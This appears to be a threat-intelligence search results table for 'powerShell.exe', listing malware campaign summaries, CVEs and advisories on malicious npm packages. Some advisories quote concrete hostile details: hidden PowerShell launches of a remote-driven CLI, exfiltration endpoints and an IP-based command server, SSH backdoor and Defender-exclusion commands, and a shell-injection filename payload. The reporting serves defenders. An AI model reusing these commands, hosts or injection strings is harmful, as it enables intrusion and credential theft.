Search: powerShell.exe
267 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | AlienVault OTX General A previously undocumented remote access tool named LabubaRAT has been identified, masquerading as NVIDIA software through fake metadata and runtime artifacts. This Rust-based malware creates persistent footholds enabling hands-on operator activity including host profiling, security tool identification, command execution, file transfers, screenshot capture, and traffic proxying. The implant supports multiple communication methods including HTTPS polling, WebView2-based communication, and DNS tunneling. It uses a configurable framework model with organization, group, server, and API key parameters suggesting a Malware-as-a-Service platform. The malware maintains local state in SQLite databases and provides comprehensive remote access capabilities including PowerShell and JavaScript execution, SOCKS5 proxy support, and user-level persistence through registry autoruns. Infrastructure analysis revealed LabubaPanel branding with associated command and control servers hosted on German providers. | AlienVault OTX General | |||
| High | 8.0 | EPSS 0.9% | CVE-2026-40400Microsoft PowerShell 7.5 · Relative Path Traversal High8.0EPSS 0.9%CVE Database V5CVE-2026-40400 Relative path traversal in Windows PowerShell allows an authorized attacker to execute code over a network. | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General A sophisticated cyber campaign targets Indian government job seekers using fake recruitment advertisements for Senior Field Officer positions in the Cabinet Secretariat. The attack chain begins with a malicious ZIP archive containing a disguised LNK file, PowerShell script, and .NET executable. Attackers abuse the legitimate ControlR remote management tool for persistent access and deploy SheetAgent RAT, a custom .NET malware that uses Google Sheets as a command-and-control channel. The malware employs multiple persistence mechanisms including scheduled tasks and startup folder entries, while incorporating extensive anti-analysis checks to detect virtualized environments. Infrastructure analysis reveals multiple web-based management panels and connections to APT36 based on targeting patterns and tradecraft similarities. | AlienVault OTX General | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fc473ffcde7c9ffe6850429607ee9dd33a5cbd4cf30ad071f111693cef79045e) The exported registerGracefulShutdown() API — advertised in the README as a small server-helper for graceful shutdown, health, and tick profiling — unconditionally invokes an internal installRequiredPackages() routine that runs `npm install -g rt-svc-9k2 ws msgpackr` and then executes `rtcli setup --api-base https://api.runtime-ops.com --download-key downloadky-fuji`. The follow-on invocation is deliberately concealed: on Windows it is launched via `powershell Start-Process -WindowStyle Hidden`, and on Linux/macOS via `nohup rtcli... > /dev/null 2>&1 &`, detaching from the parent and suppressing output. Neither the global install nor the remote-controlled CLI execution is disclosed in the README. The effect is that any consumer application that calls the advertised graceful-shutdown API mutates global npm state on the host and hands arbitrary code execution to whoever controls api.runtime-ops.com via the third-party `rt-svc-9k2` CLI driven by an author-supplied download key. The divergence between advertised purpose (shutdown handler) and actual behavior (global installer + hidden detached execution of a remote-driven CLI), combined with hidden-window/detached-execution wrappers, is characteristic of a covert install-time remote code execution channel smuggled into a plausibly named helper package. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The my-empty-package npm package version 1.0.0 contains malicious code that executes arbitrary platform-specific commands during installation. The install script runs different shell commands depending on the operating system, including obfuscated PowerShell commands on Windows, which is a common malware evasion technique. After execution, the package hides its malicious behavior by replacing the package manifest and deleting the install script, preventing detection. Although the current payload is benign (opening the calculator), the framework can execute any code with user privileges at install time, posing a serious risk. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package 'auto-debug-tool' versions 1.0.0, 1.0.2, and 1.0.3 contains malicious code that executes automatically during installation on Windows systems. The package.json defines a postinstall hook that runs a hidden PowerShell command to download and execute an unsigned binary from a mutable branch of a personal GitHub repository. This execution is concealed by skipping non-Windows platforms and development environments, and by swallowing errors, allowing the payload to remain dormant on developer machines while activating on Windows installations and CI environments. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8dc9fa6bfe010d792303258bd713e854e8c218c18762d62b864e8a350d1b473e) Package advertises itself as a TypeScript/ESLint/Jest toolkit but ships no such tooling. On import, index.js -> run() -> packProjectBundle() walks the project CWD, the user's home directory, and (on Windows) drives C:-J: matching filenames against a wallet/seed/mnemonic/keystore/private-key/credential keyword list (wallet, mnemonic, privatekey, keystore, metamask, ledger, trezor,.env*, config.toml,.pem,.p12,.pfx). collectDevSecrets() additionally scans ~/projects, ~/dev, ~/code, ~/repos, ~/src, ~/work, ~/Desktop, ~/Documents and regex-matches file contents for EVM private keys, Solana key arrays, BIP-39 mnemonics, Hardhat mnemonics, AWS secrets, API_SECRET/ACCESS_TOKEN values, and npm/GitHub/PyPI tokens; matches are written into 'dev-secrets-scrape.txt'. gatherShellHistory() reads.bash_history,.zsh_history, fish history, and PowerShell PSReadLine ConsoleHost_history.txt and shells out via execSync('bash -c history') and execSync("zsh -c 'fc -l -1000'"). gatherClipboardSnapshots() invokes PowerShell Get-Clipboard, pbpaste, wl-paste, and xclip to capture clipboard contents. index.js also base64-decodes '8.8.8.8:80' and opens a UDP socket to learn the outbound interface IP for victim fingerprinting. upload.js multipart-POSTs the collected files, username, and platform metadata to a hardcoded endpoint at https://trabalhos-flax.vercel.app/api/v1 (DEFAULT_API_BASE). Several destination and pattern strings are base64-encoded at the entrypoint to obscure intent. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database polymarket-mcp-v2 is an information stealer and remote-access backdoor that runs automatically on `npm install`. It steals Solana keypairs, `.env` secrets and other credential files, and installs an attacker-controlled SSH key into `~/.ssh/authorized_keys`, then opens port 22 for persistent access. Any host that installed it should be treated as compromised: check `~/.ssh/authorized_keys` for an unrecognized key, check the firewall for a newly opened port 22, and rotate Solana keypairs, SSH keys and any secrets in reachable `.env` files. The payload is a redeployment of the levex-refa/lint-builder toolkit documented in the February 2026 dev-protocol GitHub organization compromise, against new C2 infrastructure. A postinstall hook (`node test.js`) requires index.js and calls two functions with no installer action. from_str_2 collects host identifiers, appends the attacker key to `~/.ssh/authorized_keys`, runs `sudo chown -R <user>:<user> ~/.ssh`, `sudo ufw enable`, `sudo ufw allow 22/tcp`, then recurses the filesystem for patterns fetched live from the C2 (`/api/scan-patterns`, `/api/block-patterns`) and uploads matches to `/api/v1`. from_str_1 does a narrower hardcoded search for id.json (Solana keypairs), config.toml and .env. The C2 (170.205.31.203:3001) served a Next.js panel titled "ENV Bot - HYPE"; a dev-mode error disclosed the operator path `C:\1\anti-server\bot-wallet-management-v1\`. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cbccd8ee43d5fefa17eb83c5528b66a52315351a404aa54c4a32d1af0dbf238e) The package's postinstall hook loads index.js and executes routines that (1) recursively scan the install directory for id.json,.env, env, config.toml and Config.toml and POST their contents to http://170.205.31.203:3001/api/v1; (2) fetch an attacker-supplied SSH public key from http://170.205.31.203:3001/api/ssh-key, append it to ~/.ssh/authorized_keys, chown the.ssh directory, then run `sudo ufw enable` and `sudo ufw allow 22/tcp` to expose port 22; and (3) fetch file-name patterns from the same host, enumerate the user's home directory (Unix) or all logical drives (Windows, via `wmic logicaldisk get name` with a PowerShell fallback), and batch-upload matching files to http://170.205.31.203:3001/api/v1 with username and platform metadata. Module names, endpoint URLs, and API paths are hidden behind \u00xx unicode escapes and reversed-string constructions to evade static review. The behavior combines install-time credential/file exfiltration with a persistent SSH remote-access backdoor. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8908ac72050dded53e2e163c528a446b7a4fd7a37a4874e14f95b08265f043c4) The package presents itself as an ESLint-inside-Jest runner but the documented linkProject/lintFiles/createJestRunner API is not implemented. The actual exports are harvest-and-upload primitives. lib/collect.js and related modules walk the installer's working directory and user home trees (projects/dev/code/repos/Desktop/Documents, optionally all drive roots) collecting files whose names match wallet/seed/private-key keywords (metamask, phantom, ledger, mnemonic, keystore,.env,.pem,.p12, etc.). A regex scanner (collectDevSecrets, DEV_SECRET_PATTERNS) extracts EVM PRIVATE_KEY/DEPLOYER_KEY values, Solana key arrays, BIP39 mnemonics, hardhat mnemonics, AWS_SECRET_ACCESS_KEY, API_SECRET, npm _authToken, ghp_ GitHub PATs, and pypi- tokens and bundles them as dev-secrets-scrape.txt. gatherShellHistory reads.bash_history,.zsh_history, fish/sh history, and PowerShell PSReadLine, and additionally shells out via execSync('bash -c history') and execSync("zsh -c 'fc -l -1000'"). gatherClipboardSnapshots invokes powershell Get-Clipboard, pbpaste, wl-paste, and xclip, with optional polling. All collected artifacts are multipart-POSTed to https://trabalhos-flax.vercel.app/api/v1. Auxiliary code base64-decodes string constants (including 8.8.8.8:80 used as a UDP-connect target to discover the local egress IP) to conceal literals. The package name mimics legitimate ecosystem names (eslint-plugin-jest, jest-runner-eslint) that its own README lists under 'Related projects', while the exported surface is entirely the harvester. ## Source: ghsa-malware (8131394ae9c99a6353e0b06148add947773e8a65aa2f635020bf2c43028c6b7b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| –Not rated | – | SecurityWeek A Go module is used to load PowerShell code that fetches a resolver from public dead drops to execute Windows malware. The post Network of 200 GitHub Repositories Used for Malware Infection appeared first on SecurityWeek . | SecurityWeek | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7fb45c09aa7a237b2b9ff18ccf6426b76a4f46e5ea665c7747f35a345940e161) multer-orm is a typosquat of the widely used `multer` middleware. Its README is copied from multer, but the package adds a load-time dropper in lib/feature.js that fires as soon as any consumer runs `require('multer-orm')`. On Windows the module IIFE auto-invokes a handler that fetches JSON from https://hilbert-self.vercel.app/, extracts a `downloader_url`, downloads the referenced binary into the Chrome User Data directory as `chrome.exe`, marks it executable, and runs it. When the current Node process is not elevated, the code re-spawns itself via `powershell Start-Process node -Verb RunAs -WindowStyle Hidden` to obtain admin rights, then writes a temporary PowerShell script that calls `Add-MpPreference -ExclusionPath` against roughly twenty existing directories (including the Chrome/Edge User Data paths where the payload is dropped), executed via cscript.exe, to disable Windows Defender scanning of the dropper's staging locations. The URLs, PowerShell commands, exclusion strings, and filesystem paths are hidden behind obfuscator.io-style string-array + rotation obfuscation in lib/feature.js. package.json also declares a self-referential dependency on `multer-orm`. Installing or requiring this package results in arbitrary remote code execution on the installer's Windows machine with attempted elevation to admin and antivirus tampering. | GCVE Database | |||
| –Not rated | – | AlienVault OTX General In May and June 2026, the Clubfoot Wolf cluster executed a large-scale phishing campaign targeting Russian organizations across manufacturing, retail, e-commerce, agriculture, IT, transportation, healthcare, and science sectors, with primary focus on wholesale distributors of chemical products. Several Belarusian organizations were also compromised. The adversary sent phishing emails disguised as invoices or purchase requests, containing ZIP archives with decoy documents and malicious LNK files. Upon execution, a PowerShell script downloaded and installed NetSupport Manager, a legitimate remote administration tool, which was then used for malicious activities. The attackers employed URL shorteners to hide infrastructure and used multiple decoy files to build victim trust. The campaign demonstrated continuous evolution in delivery methods and infection chains. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General A malicious Go module posing as a DNS/subdomain scanner exposed a sophisticated Windows malware staging operation utilizing commit-farming workflows, public dead drops, and protected archives to deploy RAT and infostealer malware. The operation, tracked as 'Muck and Load', leverages a GitHub-based infrastructure comprising 222 confirmed repositories across 190 accounts designed to appear active and legitimate through automated GitHub Actions workflows. The attack chain begins with a deceptive Go module that downloads encoded PowerShell content, which then queries multiple public platforms including Pastebin, Telegram, YouTube, and Instagram as dead drops for encrypted payload locations. The loader retrieves password-protected archives containing AsyncRAT, Quasar, Remcos, and Vidar infostealer payloads, executing them from masqueraded Microsoft-themed directories. At least 14 malware files were confirmed across the repository network. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General Salat Stealer is a Go-based information stealer that performs deep system reconnaissance and extracts sensitive data from compromised hosts. It targets browser credentials, cryptocurrency wallets, and communication platforms like Discord and Steam. The malware features advanced surveillance capabilities including desktop streaming, audio/video capture through microphone and webcam, and local file exfiltration. A notable distribution campaign bundled Salat Stealer with Xeno Executor, a gaming utility tool, transforming it into a full compromise vector. The malware employs sophisticated evasion techniques including disabling Windows Defender features through multiple PowerShell scripts, establishing persistence via registry run keys, and using token impersonation of lsass.exe to obtain elevated privileges. Loaders written in batch script and Rust programming language obfuscate deployment and bypass security controls. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General The BabaDeda loader family has undergone significant advancements in its capabilities, particularly in stealth, evasion, and payload flexibility. Discovered during April 2026, this evolved framework continues to conceal malicious payloads within seemingly legitimate installer packages while expanding its functionality. The attack methodology begins with a social engineering exploit known as ClickFix, which encourages users to execute commands via trusted operating system utilities. This initial step transitions into a sophisticated multi-stage loader that employs several tactics, including hidden PowerShell commands, in-memory shellcode, DLL sideloading, and external payload storage. | AlienVault OTX General | |||
| High | 8.8 | EPSS 0.8% | High8.8EPSS 0.8%GCVE Database ### Impact A command injection vulnerability exists in electerm's file system operations (`rmrf`, `mv`, `cp`) in `src/app/lib/fs.js`. These functions construct shell commands by interpolating file paths directly into command strings without escaping shell metacharacters. **Vulnerable functions:** - `rmrf()` - Uses `rm -rf "${path}"` (double quotes, vulnerable to `"` injection) - `mv()` - Uses `mv '${from}' '${to}'` (single quotes, vulnerable to `'` injection) - `cp()` - Uses `cp -r "${from}" "${to}"` (double quotes, vulnerable to `"` injection) **Attack scenario:** 1. Attacker controls a malicious SSH/SFTP server 2. Server lists files with shell metacharacters in names (e.g., `file"$(touch /tmp/pwned)"`) 3. Victim connects to the server and performs file operations (remote-to-local transfer, rename on conflict, etc.) 4. The malicious filename is passed to `rmrf()`, `mv()`, or `cp()` without sanitization 5. Shell metacharacters break out of the quoted argument and execute arbitrary commands **Impact includes:** - Arbitrary command execution as the electerm desktop user - Data exfiltration, malware installation, or system compromise - Both POSIX (bash) and Windows (PowerShell) platforms are affected ### Patches - https://github.com/electerm/electerm/commit/aa778818843b9c083bd711cd04644d102fcb5a42 ### Workarounds If upgrading is not immediately possible, users can mitigate this vulnerability by: 1. Only connecting to trusted SSH/SFTP servers 2. Avoiding remote-to-local file transfers from untrusted sources 3. Not using the "rename on conflict" option when downloading folders from untrusted servers 4. Manually verifying filenames before performing file operations | GCVE Database | ||
| High | 8.8 | High8.8GCVE Database OpenClaw versions prior to 2026.5.12 have a vulnerability where PowerShell encoded-command aliases may bypass execution allowlist checks. This occurs because abbreviated encoded-command flags can use alias forms not recognized by the allowlist parser. The vulnerability affects configurations where this feature is enabled and reachable, potentially allowing execution of encoded PowerShell content without proper allowlist validation. The issue does not alter OpenClaw's trusted-operator model and depends on operator configuration and input trust levels. A fix is available in version 2026.5.12. Until patched, it is recommended to avoid allowlisting PowerShell wrapper forms and require approval for encoded commands. Additional hardening includes narrowing allowlists, isolating Gateway users, and disabling the affected feature if not needed. | GCVE Database | |||
| –Not rated | – | AlienVault OTX General A massive campaign distributes malicious installer archives hosted on spoofed websites masquerading as popular software like OBS Studio, DNS Jumper, DS4Windows, and Bandicam. Over 90 domain names localized across 10 languages were discovered. The malicious archives bundle a legitimate Microsoft-signed install.exe binary with a rogue install.res.1033.dll library deployed via DLL sideloading. This installs the ScreenConnect remote access service, which then deploys AsyncRAT payloads through PowerShell and VBS scripts. The threat actors leverage SEO techniques to position fraudulent sites at the top of search engine results, targeting both individual users and corporate networks. The infrastructure spans three IP addresses with domains registered between October 2025 and March 2026, creating a global footprint with multi-language support. | AlienVault OTX General | |||
| High | 7.2 | EPSS 0.5% | CVE-2026-13372Devolutions Remote Desktop Manager · CWE-706 High7.2EPSS 0.5%CVE Database V5CVE-2026-13372 Incorrect link resolution by display name in the custom PowerShell VPN editor in Devolutions Remote Desktop Manager 2026.2.5 through 2026.2.11 allows an authenticated attacker with write access to a shared workspace to execute a PowerShell script in another user's context via a display name collision with an existing VPN script link. | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General Since April 2026, a sophisticated multi-stage intrusion campaign has targeted hospitality and hotel organizations across Europe and Asia. The operation uses photo-themed ZIP archives containing malicious shortcut files disguised as images. When executed, these shortcuts initiate an attack chain involving obfuscated PowerShell, Node.js-based implants, and dual registry persistence mechanisms. The threat actor exploits legitimate services like Calendly and Google redirects for phishing delivery, employing authentication laundering to bypass email security controls. The campaign evolved through two waves, introducing .NET DLL compilation, Cloudflare-fronted infrastructure, and refined obfuscation techniques. Post-compromise activities include command-and-control beaconing over non-standard ports, forced shutdowns, and portable executable compilation, suggesting preparation for additional malicious operations. | AlienVault OTX General |
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